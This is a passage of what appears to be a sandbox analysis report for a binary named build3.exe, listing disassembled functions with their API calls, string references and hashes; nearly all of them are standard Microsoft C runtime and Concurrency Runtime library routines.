Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00D3EFFF
Concurrency::Context::Block.LIBCONCRT ref: 00D3F021

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: f15a92b7182757ae3e4577c97337b6ddbb9f7c42f9a4c67c582d7e13f86ffa7e
Instruction ID: 80ea2aba371578077c0533cf3b4b42937531b1324c74ea0e1cd9133449151e3a
Opcode Fuzzy Hash: f15a92b7182757ae3e4577c97337b6ddbb9f7c42f9a4c67c582d7e13f86ffa7e
Instruction Fuzzy Hash: C9215370C04219DADF28DFA4C9457EEB7F0EF14351F24062AE155A62D1EBB19A44CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D55027 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D5501E,00D53BE2,00D3B645,7D7AE1DE,?,00000000,00D6B388,000000FF,?,00D224EA,?,?), ref: 00D55035
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D55043
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D5505C
SetLastError.KERNEL32(00000000,?,00D5501E,00D53BE2,00D3B645,7D7AE1DE,?,00000000,00D6B388,000000FF,?,00D224EA,?,?), ref: 00D550AE

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 29e48f1a19aa3bcec68481c551c62ef577c025c72857d108609d6b64791eabd4
Instruction ID: bf7e6183b995f05cb31179d97d5a6bf753c83630b2999c48c28cee2991efb65a
Opcode Fuzzy Hash: 29e48f1a19aa3bcec68481c551c62ef577c025c72857d108609d6b64791eabd4
Instruction Fuzzy Hash: D7012832118B119EEE212678BC96D363685DB013777340229FC24822E4EF528C0997F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D3FD0B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00D3FD19
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00D3FD1F
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00D3FD4C
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00D3FD56
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00D3FD68
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D3FD7E

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 9e5c3d5c510097cdcb0713a4249babfd03068bd262dd37ae1fdc3ca5770c11a5
Instruction ID: b59ee723b8386ccdd6389f557eff877ace13fb9bee96ca40568530a16baa52b1
Opcode Fuzzy Hash: 9e5c3d5c510097cdcb0713a4249babfd03068bd262dd37ae1fdc3ca5770c11a5
Instruction Fuzzy Hash: 6101A231A00218EBCB20AB65EC4EBBF3B6DEF41752F544435F855E62A0FB21D9098771

Uniqueness

Uniqueness Score: -1.00%

Function 00D54F0A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00D54F5D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00D54F76
PMDtoOffset.LIBCMT ref: 00D54F9C

Strings

Bad dynamic_cast!, xrefs: 00D54FDE

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: ec60b4f5d287e72d433c88976044f37a97d2ef0b646c34aece1edbe8c0fe8e78
Instruction ID: ecaa444b0084c51cb364c8da3bf59ce56dba3ed4fa1100ac06806756facbcb84
Opcode Fuzzy Hash: ec60b4f5d287e72d433c88976044f37a97d2ef0b646c34aece1edbe8c0fe8e78
Instruction Fuzzy Hash: 8C213832604204AFCF14DF68DD06E6E77B8FF4472AF148119FD1497184EB30E94896B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5191A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00D51975
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D51994
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00D519DB

Strings

pContext, xrefs: 00D5198C

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1284976207-2046700901
Opcode ID: 1575d38339321ac1c4a651a90407016412e815bd5b05953b42d23ab6c3ec38c6
Instruction ID: bc20acc12ccb9ed5200158f5fe31875579acdfbc743157f665b36b0cbdd73694
Opcode Fuzzy Hash: 1575d38339321ac1c4a651a90407016412e815bd5b05953b42d23ab6c3ec38c6
Instruction Fuzzy Hash: D521D6397006159BCF15A768D8A5BBCB3A9FF84322B040116ED2287291DB74E8498EB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5DF34 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\a\build3.exe, xrefs: 00D5DF39

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\a\build3.exe
API String ID: 0-1747788520
Opcode ID: f6f22462889fe10b78b6e0096f951dbac8f7e7b9fc36e545f2caff8976cfe018
Instruction ID: 4a220a6de221a09871c65570cbf7b10a5efcf8e6e6a41ea670cd676ec3896c9f
Opcode Fuzzy Hash: f6f22462889fe10b78b6e0096f951dbac8f7e7b9fc36e545f2caff8976cfe018
Instruction Fuzzy Hash: A821BE71208246AFDF30AF619C8196BBBAEEF003667244114FD2AC6250EB31ED48C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D57256 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00D57298

Strings

.com, xrefs: 00D572D8
.bat, xrefs: 00D572C7
.exe, xrefs: 00D572A5
.cmd, xrefs: 00D572B6

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: efc5c476cd0da1f88cafe38a1b27e673f1d2b2da66ba24d94d6943b3ffd472e8
Instruction ID: 267fa939660b104e3f78ef1e1cdd66feccb2b9753933cbe37026a5b810a030ee
Opcode Fuzzy Hash: efc5c476cd0da1f88cafe38a1b27e673f1d2b2da66ba24d94d6943b3ffd472e8
Instruction Fuzzy Hash: 7C01D637A0C616262E146069BC02A771798CB91BB6F3A002BFC48FB1C1EE94DC4A51F9

Uniqueness

Uniqueness Score: -1.00%

Function 00D44F93 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 00D44FF2
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D45015
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00D45057

Strings

ppVirtualProcessorRoots, xrefs: 00D4500D
count, xrefs: 00D44FAB

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 18808576-3650809737
Opcode ID: 38b7f9da7e1cc64fe2a1f567cc722b7f3104ebe2935e0d2fe68fa0a612996a14
Instruction ID: 09f4fc0f146bf05111dbf3a196b792a6815dcce17c0a51e63c0c7f8b8c286a65
Opcode Fuzzy Hash: 38b7f9da7e1cc64fe2a1f567cc722b7f3104ebe2935e0d2fe68fa0a612996a14
Instruction Fuzzy Hash: 4D21B039600605AFCB04EF58D852EADB7A5FF48300F004029EA0697692DB71AA05CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D560A7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00D560F7

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: da00ab501147a16cc10c12deeb9e9b9099a232cf11f7189cf979a83a43ebb679
Instruction ID: 14025ead075cce8de789d94b914b12cbfe59c32df6b0e6b603da5e02df85fb6b
Opcode Fuzzy Hash: da00ab501147a16cc10c12deeb9e9b9099a232cf11f7189cf979a83a43ebb679
Instruction Fuzzy Hash: A911B931A01B21EBCF214B28DC41E7A77649F05BA2FA50111EC46E73D2EA30ED44C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D52187 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00D521A7
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D521B8
StructuredWorkStealingQueue.LIBCMT ref: 00D521EE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D521FF

Strings

e, xrefs: 00D521C9

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 7f977162fa3b67f8071a536a047c2f9454dc36e1501b8ace7e0f169ccd24f527
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 07118F35104604ABDF44DF69C882E7B73A4AF13356F28806AED169F242DA71D90DCBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D5665D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00D56652,?,?,00D5661A,?,?,?), ref: 00D56672
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D56685
FreeLibrary.KERNEL32(00000000,?,?,00D56652,?,?,00D5661A,?,?,?), ref: 00D566A8

Strings

mscoree.dll, xrefs: 00D5666B
CorExitProcess, xrefs: 00D5667D

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 63f65128e189e777627f80fe85e02cc3cca5a44ff0619d599cb3df3881a5e4ff
Instruction ID: ad6c55c23dd792b3d69fae466a0fe573f5e3c1b75306d444655ba7c8c8e45923
Opcode Fuzzy Hash: 63f65128e189e777627f80fe85e02cc3cca5a44ff0619d599cb3df3881a5e4ff
Instruction Fuzzy Hash: 0CF0F831541319FBDB129B90DD09BAEBE79EB00756F5440A4BC09E22A0EB70DE44EAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D666F9 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00D6679C
__alloca_probe_16.LIBCMT ref: 00D66852
__alloca_probe_16.LIBCMT ref: 00D668E8
__freea.LIBCMT ref: 00D66953
__freea.LIBCMT ref: 00D6695F

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 2e073674886180e93cfd5e5133093f762e4f9f36e30f2baa01897de911726389
Instruction ID: ea0d1a4b9b27dac3858dbe49651aea4460f50f00fad5eafa2da09519547e8caf
Opcode Fuzzy Hash: 2e073674886180e93cfd5e5133093f762e4f9f36e30f2baa01897de911726389
Instruction Fuzzy Hash: B381B272D0021A9BDF219F64C881AEE7BB9EF49354F18015AED54AB291E731CC44CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D64B64 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D64BE8
__alloca_probe_16.LIBCMT ref: 00D64CAE
__freea.LIBCMT ref: 00D64D1A

Part of subcall function 00D5AA4B: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D5E43E,00000220,?,?,?,?,?,?,00D5763B,?), ref: 00D5AA7D

__freea.LIBCMT ref: 00D64D23
__freea.LIBCMT ref: 00D64D46

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 23dccd5f5e037f177cb824d5bebaa321123a256e30f49c80b69ee0f9fd774f23
Instruction ID: d69ba34323f0f1850c5867a83ab9ec6ba38a0794ba444a5104727c21ffc306f8
Opcode Fuzzy Hash: 23dccd5f5e037f177cb824d5bebaa321123a256e30f49c80b69ee0f9fd774f23
Instruction Fuzzy Hash: 0851D172A0021AAFEF219F64DC41FBB3BA9DF45755F2A0129FE049B250E730DC509AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D56F8E Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00D56FB0
GetFileInformationByHandle.KERNEL32(?,?), ref: 00D5700A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D56EC0,?,000000FF), ref: 00D57098
__dosmaperr.LIBCMT ref: 00D5709F
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00D570DC

Part of subcall function 00D57304: __dosmaperr.LIBCMT ref: 00D57339

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: b52dd87c61203d6c140534d037919f7097421c7f5d06c6369c9f75d2a7851bde
Instruction ID: 7eb2ca0da22c5e394fcb2d1e1bd64ad527c83eca2cbba563e4fa0ef456a3cde4
Opcode Fuzzy Hash: b52dd87c61203d6c140534d037919f7097421c7f5d06c6369c9f75d2a7851bde
Instruction Fuzzy Hash: 22412975904344ABDF249FB9EC459ABBBF9EF88301B248529FD56D3251EA309948CB30

Uniqueness

Uniqueness Score: -1.00%

Function 00D514E5 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00D514EC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00D51537
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00D5156A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00D5161A

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 76c5a2c40c5b0b79aaa5a11ca34af169ffa358f7686b57d1e9b29cb51bd9ac64
Instruction ID: b5856642db7408be6ac876cf09831ac61169de2373cd6be319f4f077f7db7b94
Opcode Fuzzy Hash: 76c5a2c40c5b0b79aaa5a11ca34af169ffa358f7686b57d1e9b29cb51bd9ac64
Instruction Fuzzy Hash: 234160B5A00606AFCF14DF69C4919AEFBB5FF88311B14822DE81AD7650DB34A904CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D4DC23 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D4DC57

Part of subcall function 00D49022: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00D49043

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00D4DCB6
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00D4DCDC
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 00D4DCFC
Concurrency::location::_Assign.LIBCMT ref: 00D4DD49

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
